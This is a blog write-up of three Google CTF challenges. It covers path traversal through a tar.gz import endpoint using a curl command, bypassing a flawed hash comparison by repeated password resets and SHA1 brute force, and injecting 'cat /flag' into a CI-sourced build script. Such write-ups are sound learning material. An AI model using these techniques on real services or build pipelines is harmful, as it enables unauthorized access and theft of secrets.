Hacking Google CTF - Episode 4

Hacking Google CTF - Episode 4

This is a write-up about how I solved the fifth episode of the H4CK1NG GOOGL3 security CTF. If you didn't read my post about the first episode, I highly recommend you to check it out since it introduces the concept of a CTF.

Challenge 01: Bug Hunters

Fake Google Bug Hunters Website

Hints:

  • Look at challenge 02 first

  • ../../..

For this challenge, Google cloned their Bug Hunters website. But they exchanged the OIDC login with a basic login with a username and password, password reset functionality, and added /import and /export API endpoints.

I analyzed the login functionality thoroughly but could not spot something unusual. Turns out you get the site's source code (in HTML/JS) from challenge 02 and the backend code for the import/export endpoints (written in Go) from challenge 03!

The import endpoint allows users to upload bug reports by uploading .tar.gz compressed files. If a file is already present and we enable the debug mode by passing &dryRun=t&debug=t, we get a diff between the old and the new file.

After looking at the import functionality, it became apparent that the function does not check for path traversal attacks.

So we just created a .tar.gz file containing an empty flag file and submitted it using:

curl --location --request POST 'https://path-less-traversed-web.h4ck.ctfcompetition.com/import?submission=../../../&dryRun=t&debug=t' \
--form 'attachments=@"/home/michi/flag.tar.gz"'

And get the diff containing the flag as a response.

Challenge 02: Bug hunters 2

Hints:

  • Brute force is the way to go

  • By fixing one vulnerability, you might introduce another one

This challenge gives us the source code for the website from challenge 01, together with the hint to log in as user "tin".

In the source code, we can see that we have to log in to display the flags (each user has one). The users and their password hashes are hardcoded:

  { username: 'don', hashedPassword: 'i4tUa+RTGgv+jRtyUWBXbP1i/mg=', isAdmin: true },
  { username: 'tin', hashedPassword: 'XtBEoWAkAF/UKax1SDdIHeCJbtE=' }

The reset function generates a random password but only allows passwords of non-admins to be reset.

After some digging around, we find that they implemented their own method for comparing strings in constant time to be invulnerable from timing attacks. However, their method is based on comparing the indices of the digits (yes only numbers) in the string one by one instead of comparing the actual characters. That means that two strings will be considered equal if their length is the same and they have numbers in the same location (not even the same numbers).

This equals method is used to compare the hashes when logging in. If we reset tin's password often enough (using a simple script), we eventually get one without any numbers and can log in with every password containing no numbers.

I also found a way to log in as the admin user, whose password cannot be reset: We first have to obtain the actual base64-decoded hash of don's password with the following command:

> echo 'i4tUa+RTGgv+jRtyUWBXbP1i/mg=' | base64 -d - | xxd -p
8b8b546be4531a0bfe8d1b725160576cfd62fe68

Then we can brute force SHA1 passwords to get one, that has the numbers in the same places as don's hash. This actually gets us the flag for a bonus challenge.

Challenge 02: Bug hunters 3

Hints:

  • Git has lots of flags

  • CI can be dangerous

The challenge description tells you to find some bugs and gives you the hint to "find out how to contribute". By looking around the site from challenge 01, we find a Git URL that is pointing to a source code repository containing the source code of the backend.

When trying to contribute by pushing to the flag branch, the Git server rejects all push requests:

Total 0 (delta 0), reused 0 (delta 0), pack-reused 0
remote: Skipping presubmit (enable via push option)
remote: Thank you for your interest, but we are no longer accepting proposals
To git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo
 ! [remote rejected] flag -> flag (pre-receive hook declined)
error: failed to push some refs to 'git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo'

The error message says that the "presubmit checks" were skipped - so let's try to enable them?

$ git push -o "presubmit" -u origin flag
Enumerating objects: 7, done.
Counting objects: 100% (7/7), done.
Delta compression using up to 16 threads
Compressing objects: 100% (4/4), done.
Writing objects: 100% (4/4), 708 bytes | 708.00 KiB/s, done.
Total 4 (delta 2), reused 0 (delta 0), pack-reused 0
remote: Starting presubmit check
remote: Cloning into 'tmprepo'...
remote: done.
remote: HEAD is now at f5582f1 test
remote: Building version v0.1.2
remote: ./build.sh: line 5: go: command not found
remote: Build server must be misconfigured again...
remote: Thank you for your interest, but we are no longer accepting proposals
To git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo
 ! [remote rejected] flag -> flag (pre-receive hook declined)
error: failed to push some refs to 'git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo'

Looking at the error message, we can see that the version number is printed by the server. So maybe there is a way to also print the flag, which probably works by executing cat /flag, again?

This code is from the build.sh file, which seems like it was part of some CI:

#!/usr/bin/env bash

source configure_flags.sh &>/dev/null
echo "Building version ${VERSION}"
go build -ldflags="${LDFLAGS[*]}"

However, modifying it has no use since it executes always the unmodified on the server. But we can change the configure_flags.sh file to include the flag value:

#!/usr/bin/env bash

# IMPORTANT: Make sure to bump this before pushing a new binary.
VERSION="$(cat /flag)"
COMMIT_HASH="$(git rev-parse --short HEAD)"
BUILD_TIMESTAMP=$(date '+%Y-%m-%dT%H:%M:%S')

LDFLAGS=(
  "-X 'main.Version=${VERSION}'"
  "-X 'main.CommitHash=${COMMIT_HASH}'"
  "-X 'main.BuildTime=${BUILD_TIMESTAMP}'"
)

Conclusion

Challenge one and two were quite interesting, probably because I am really interested in web technologies. However, I didn't like the challenge three that much, and without the hint from another participant to look at the hooks, it would have taken me a lot longer to figure out. You can read my write-up for the next (and last) episode over here.

Episode Overview: